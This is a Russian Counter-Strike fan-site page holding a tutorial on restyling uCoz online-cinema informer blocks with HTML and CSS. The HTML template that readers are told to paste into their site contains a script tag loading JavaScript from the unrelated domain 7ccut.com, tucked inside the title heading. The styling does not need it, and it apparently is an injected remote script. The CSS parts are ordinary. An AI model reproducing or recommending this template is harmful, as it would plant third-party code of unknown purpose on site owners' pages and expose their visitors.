Воскресенье, 28.04.2024, 11:03
Всё для Counter-Strike 1.6
Приветствую Вас Гость | RSS
Главная | | Регистрация | Вход
Меню сайта

Новости CS
Обновление и прочее
Турниры CS:GO

Файлы для CS 1.6
Плагины
Карты
Готовые серверы
Патчи
Программы
Скрипты
Защита сервера
Звуки
Скачать Counter-Strike
Цветные логотипы
HLTV Models
Моды
Конфиги cfg.
Модели игроков
Модели оружия
Боты
Спрайты
Другие модели

Статьи для CS 1.6
Разное
Об игре
Консольные команды
Про читы
Стишки
Всё о серверах
Распрыг и прыжки
Тактика
Оружие
Понижение пинга
Zombie Plague
Прострелы

Нужно знать!
Собираем сервер с нуля
Как создать модель в Milkshape для CS 1.6
Как сменить текстуры на моделях ?
Как сделать спрайт
Делаем w_ модель из v_ модели
Быстрая закачка звуков и т.п. с вашего сервера
Русификация AMX MOD X
Как понизить пинг в CS
Как записать демку (demo)
Как сделать цветной логотип для CS? by xnj.
Избавляемся от *T.mdl

Категории раздела
CS News [22]
Новости Counter-Strike, Counter-Strike: Global Offensive и так далее...
Турниры CS:GO [10]
Новости по турнирам.

Опрос

Сколько часов всреднем в день вы уделяете игре в CounterStrike?
Всего ответов: 676

Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
16:19
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Просмотров: 361 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль
Гость

Сообщения:

Группа:
Гости
Время: 11:03

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь! Вход Регистрация

Скажи нет читам!!


Мини-чат

Поиск по сайту

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Нас сегодня посетили:

Архив записей

Мы В Контакте


Copyright xnj © 2024                           coolserver.ucoz.ru - сайт клана Fpg.Elay. Создать бесплатный сайт с uCoz